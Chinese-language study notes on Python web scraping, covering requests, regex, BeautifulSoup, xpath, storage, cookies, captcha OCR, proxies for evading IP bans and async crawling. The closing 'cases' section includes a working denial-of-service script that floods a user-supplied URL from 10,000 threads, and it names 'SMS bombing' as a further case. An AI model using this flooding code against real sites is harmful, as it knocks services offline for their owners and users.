Python爬虫
text::Python
text::Html+CSS
text::计算机网络
一、基础知识
1 爬虫防抓
- 严格遵守网站设置的robots协议。
- 在规避反爬虫措施的同时,需要优化自己的代码,避免干扰被访问网站的正常运行。
- 在设置抓取策略时,应注意编码抓取视频、音乐等可能构成作品的数据,或者针对某些特定网站批量抓取其中的用户生成内容。
- 在使用、传播抓取到的信息时,应审查所抓取的内容,如发现属于用户的个人信息、隐私或者他人的商业秘密的,应及时停止并删除。
2 爬虫分类
通用爬虫:抓取系统重要组成部分,抓取的是一整张页面:
- 指定url
- 发起请求
- 获取响应数据
- 持久化存储
聚焦爬虫:建立在通用爬虫基础之上,抓取的是页面特定的局部内容:
- 指定url
- 发起请求
- 获取响应数据
- 数据解析
- 持久化存储
增量式爬虫:监测网站中数据更新的情况,只会抓取网站更新出来的数据。
3 反爬机制与反反爬策略
反爬机制 |
解释 |
robots.txt协议 |
君子协议。规定了网站中哪些数据可以被爬取,哪些数据不可以被爬取。(没有强制限定) |
UA检测:检测身份 |
门户网站会检测请求载体的身份,若不是基于某一浏览器的,则表示该请求不正常,服务器很可能会拒绝该次请求。 |
IP封锁 |
封锁IP。 |
反反爬策略 |
解释 |
UA伪装:伪装成某一浏览器 |
具体:requests库——UA伪装。 |
代理 |
解决IP封锁问题 |
robots协议
案例 |
代码 |
全部禁止 |
User-agent:* Disallow: / |
全部允许 |
User-agent:* Allow: / |
仅禁止某一些爬虫 |
User-agent:Baiduspider Disallow: / |
仅允许某一些爬虫 |
User-agent:Baiduspider Allow: / User-agent:Googlebot Allow: / User-agent:* Disallow: / |
二、数据爬取
1 requests库定义
定义:Python中原生的一款基于网络请求的模块。
作用:模拟浏览器发送请求。
2 简单流程
url = "https://123.sogou.com/"
response = requests.get(url=url)
page_text = response.text print(page_text)
with open("./save.txt","w",encoding="UTF-8") as fp: fp.write(page_text)
|
3 详细请求
get与post参数
post方法
param = {"query":value} header = {"User-Agent ":value}
response = requests.get(url=url,timeout=15,params=param,headers=header)
data = {} file = {"name":(path,param),...}
response = requests.post(url=url,timeout=15,data=data ,headers=header,[files=file])
data = response.text / text() data = response.content / read() data = response.json / json()
|
4 其他情况
UA:User-Agent,代理。
门户网站会检测请求载体的身份,若不是基于某一浏览器的,则表示该请求不正常,服务器很可能会拒绝该次请求。
XHR
User-Agent=value referer=value
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"}
data = {"kw":value} header = {"User-Agent":value} response = requests.post(url=url,timeout=15,data=data,headers=header) dic_json = requests.json()
|
5 技巧
有的页面数据并不是直接存在html中的,而是通过ajax请求获得了一次。
新生成的页面可能域名是一致的,但是参数不一致。
F12——Ctrl + F:搜索
三、数据解析
1 原理
标签定位。提取标签、标签属性中存储的数据值。
2 re库
正则表达式
正则表达式教程
测试网站
常用正则表达式大全
普通使用 |
解释 |
e? |
e 出现 0-1 次 |
b* |
b 出现 0-n 次 |
h+ |
h 出现 1-n 次 |
b{} |
出现次数限定,b{6}(6次),b{2,6}(2-6次),b{2,}(2次以上) |
[] |
指定字符范围。[a-z] ,[a-zA-Z] ,[a-zA-Z0-9] ,[^0-9] (除0-9外所有字符(包括元字符)) |
(ab)+ |
ab 出现 1-n 次 |
`(cat |
dog)` |
cat 或 dog |
|
|
特殊字符 |
解释 |
\d |
数字字符 |
\D |
非数字字符 |
\w |
英文、数字及下划线 |
\W |
非单词字符 |
\s |
空白符(tab和换行) |
\S |
非空白字符 |
\b |
单词开头或结尾,单词的分界处 |
. |
任意字符(不包换行符 ) |
^a |
只匹配行首a,头要是a |
a$ |
只匹配行尾a,尾要是a |
|
|
使用技巧 |
解释 |
标签匹配 |
<.+?>。不加 ? 会全匹配,加了会从贪婪匹配变成懒惰匹配 |
RGB十六进制匹配 |
#[a-fA-F0-9]{6}\b |
IPv4匹配 |
`\b((25[0-5] |
2[0-4]\d |
[01]?\d\d?).){3}(25[0-5] |
2[0-4]\d |
[01]?\d\d?)\b(会匹配:00.00.00.00)` |
|
re库
python的re
pattern = re.compile(pattern,flags)。
lst = pattern.search(str)
lst = pattern.findall(str,flags)
|
import re
strs = "<a>Hello</a><a>World</a>"
greedy = re.findall("<a>(.*)</a>", strs) nonGreedy = re.findall("<a>(.*?)</a>", strs)
print(greedy) print(nonGreedy)
|
3 BeautifulSoup库
原理
- 实例化一个BeautifulSoup对象,并且将页面源码数据加载到该对象中。
- 通过调用BeautifulSoup对象中相关的属性或者方法进行标签定位和数据提取。
pip install beautifulsoup4 pip install lxml
import bs4 from BeautifulSoup
with open("0.txt","r",encoding="utf-8") as f: soup = BeautifulSoup(f,"lxml")
page_text = response.text soup = BeautifulSoup(page_text,"lxml")
|
属性和方法
soup.tagName
soup.find("tag"[,attr]) soup.find(class_ = 'item-1')
soup.find_all("tag" [,attr]) soup.find_all(attrs={'class':'item-1'})
''' selector:id(#),class(.),标签选择器,例: soup.select(".tang > ul > li > a")( > :一个层级,space:多个层级) ''' soup.select("selector")
soup.tagName.text/string/get_text()
text/get_text()
string
soup.prettify()
|
简单使用
bs4简单使用
4 xpath库
优势:最常用且最便捷高效的一种解析方式,通用性强,可以用于别的语言。
原理:
- 实例化一个etree对象,并且将页面源码数据加载到该对象中。
- 通过调用etree对象中xpath方法结合着xpath表达式实现标签的定位和内容的捕获。
pip install lxml
from lxml import etree
parser = etree.HTMLParser(encoding="UTF-8") et = etree.parse( filePath,parser=parser)
et = etree.HTML( page_text)
|
res = et.xpath( "xpath表达式" )
res = li.xpath("./div")
res = et.xpath("/html/head/script")
res = et.xpath("/html//script") res = et.xpath("//script")
res = et.xpath('//script[@type="text/javascript"]')
res = et.xpath('//script[@type="text/javascript"][1]')
res = et.xpath('//script[@type="text/javascript"][1]/text()')
res = et.xpath('//script[@type="text/javascript"][1]//text()')
res = et.xpath('//script[2]/@type')
|
四、数据存储
1 json
json库
loads链接
json.dump(data,fp,ensure_ascii=False)
res = json.loads(str)
|
2 excel
3 sqlite
可以下载插件Database Navigator对数据库进行查看。
初次下载后DB browser会出现在软件左侧,Database是PyCharm专业版自带的。
新建数据库点击”+”号,然后找到Connection中的Database files,添加路径。
import sqlite3
conn = sqlite3.connect("name.db")
p = conn.cursor()
sql = "" res = p.execute(sql)
res = p.execute("INSERT INTO public_key (pubkey) VALUES (?)", (public_key,))
rows = cursor.fetchall()
p.fetchone()
for row in res: print("id = ",row[0]) print("name = ",row[1]) ...
conn.commit()
conn.close()
|
五、身份认证
1 验证码
步骤:
- 下载验证码图片到本地。
- 识别验证码。
- 上传结果登入成功。(登入成功的post请求中带有验证码参数,进行修改)
响应状态码:res = response.status_code
(200为成功)
高级验证:使用超级鹰。
pip install ddddocr
import ddddocr ocr = ddddocr.DdddOcr()
with open ('jpg', 'rb') as f: img_bytes = f.read() res = ocr.classification( img_bytes ) print(res)
|
2 Cookie
Http数据包:Request Headers——Cookie
手动Cookie:headers = { "cookie":"value" }
自动Cookie:模拟登入post请求后,由服务器创建。
session会话对象:
- 可以进行请求的发送。
- 如果请求过程中产生了cookie,则该 cookie 会被自动存储 / 携带在该 session 对象中。
session使用:
- 创建session对象:
session = requests.Session()
- 使用session对象进行模拟登入(找到是哪个 url 设置了 cookie 值(
set-cookie
)):session.post()
(参数同requests)
- session对象对目标进行get请求(携带了cookie):
session.get()
(参数同requests)
3 代理
目的:破解封IP反爬机制。
作用:突破IP访问限制,伪装IP。
使用:requests.get/post(proxies = {"type":"IP:Port"})
(type:类型)
代理 IP 透明度:
- 透明:服务器知道该次请求使用了代理,也知道请求对应的真真实IP。
- 匿名:服务器知道使用了代理,不知道真实IP。
- 高匿:服务器不知道使用了代理和IP地址。
代理网站:
六、高性能异步爬虫
1 多线程、多进程
不建议使用。
特点:
- 优势:可以为相关阻塞的操作单独开启线程或者进程,阻塞操作救可以异步执行。
- 劣势:无法无限制的开启多线程或者多进程,比较耗费资源,会乱序。
2 线程池、进程池
适当使用。
特点:
- 优势:可以降低系统对进程或者线程创建和销毁的一个频率,从而很好地降低系统的开销。
- 劣势:池中线程或进程的数量有上限,会乱序。
- 使用:线程池应应用于阻塞且耗时的操作。
from multiprocessing.dummy import Pool
pool = Pool(num)
pool.map(func,iterable)
pool.close()
pool.join()
|
3 单线程 + 异步协程
3.1 基本API
推荐使用。
对象或方法 |
解释 |
event_loop |
事件循环,相当于一个无限循环,我们可以把一些函数注册到这个事件循环上,当满足某些条件的时候,函数就会被循环执行 |
coroutine |
协程对象,我们可以将协程对象注册到事件循环中,它会被事件循环调用。我们可以使用 |
async |
定义一个方法,这个方法在调用时不会立即被执行,而是返回一个协程对象 |
task |
任务,它是对协程对象的进一步封装,包含了任务的各个状态 |
future |
代表将来执行或还没有执行的任务,实际上和 task没有本质区别 |
async |
定义一个协程 |
await |
用来挂起阻塞方法的执行 |
3.2 单任务使用
import asyncio
async def re(url:str): print("Doing url",url) print("end")
c = re("[www.baidu.com](http://www.baidu.com/)")
loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) loop.run_until_complete(c)
asyncio.run(c)
loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) task = loop.create_task(c)
loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) task = asyncio.ensure_future(c,loop=loop) loop.run_until_complete(task)
def callback_func(task): print(task.result()) loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) task = asyncio.ensure_future(c,loop=loop) task.add_done_callback(callback_func) loop.run_until_complete(task)
|
3.3 多任务使用
import asyncio import time
async def request(url:str): print("Downloading",url,"...") await asyncio.sleep(2) print("OK for",url)
start = time.time() urls = ["www.baidu.com","www.sogou.com","www.google.com"] loop = asyncio.new_event_loop() asyncio.set_event_loop(loop)
stasks = [] for url in urls: c = request(url) task = asyncio.ensure_future(c,loop=loop) stasks.append(task)
loop.run_until_complete(asyncio.wait(stasks)) print(time.time()-start)
|
3.4 flask快速搭建网页
from flask import Flask import time app = Flask(__name__)
@app.route('/') def index_main(): time.sleep(2) return 'Hello World'
if __name__ == '__main__': app.run()
|
3.5 aiohttp模块
因为resquests.get()
是基于同步,所以基于异步需要 aiohttp
模块
async def request(url:str): print("Downloading... ") async with aiohttp.ClientSession() as session: async with session.get(url) as response: page_text = await response.text() print(page_text) print("Finished")
|
七、自动化
1 Selenium模块
text::Selenium模块
八、scrapy框架
text::Scrapy模块
九、案例
1 简单DOS攻击
my::DOS
import threading import requests def Dos(url:str)->None: header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"} while True: try: response = requests.get(url,headers=header) except: pass if __name__ == '__main__': url = input("输入网址:") for i in range(10000): threading.Thread(target=Dos,args=(url,)).start()
|
2 短信轰炸
短信轰炸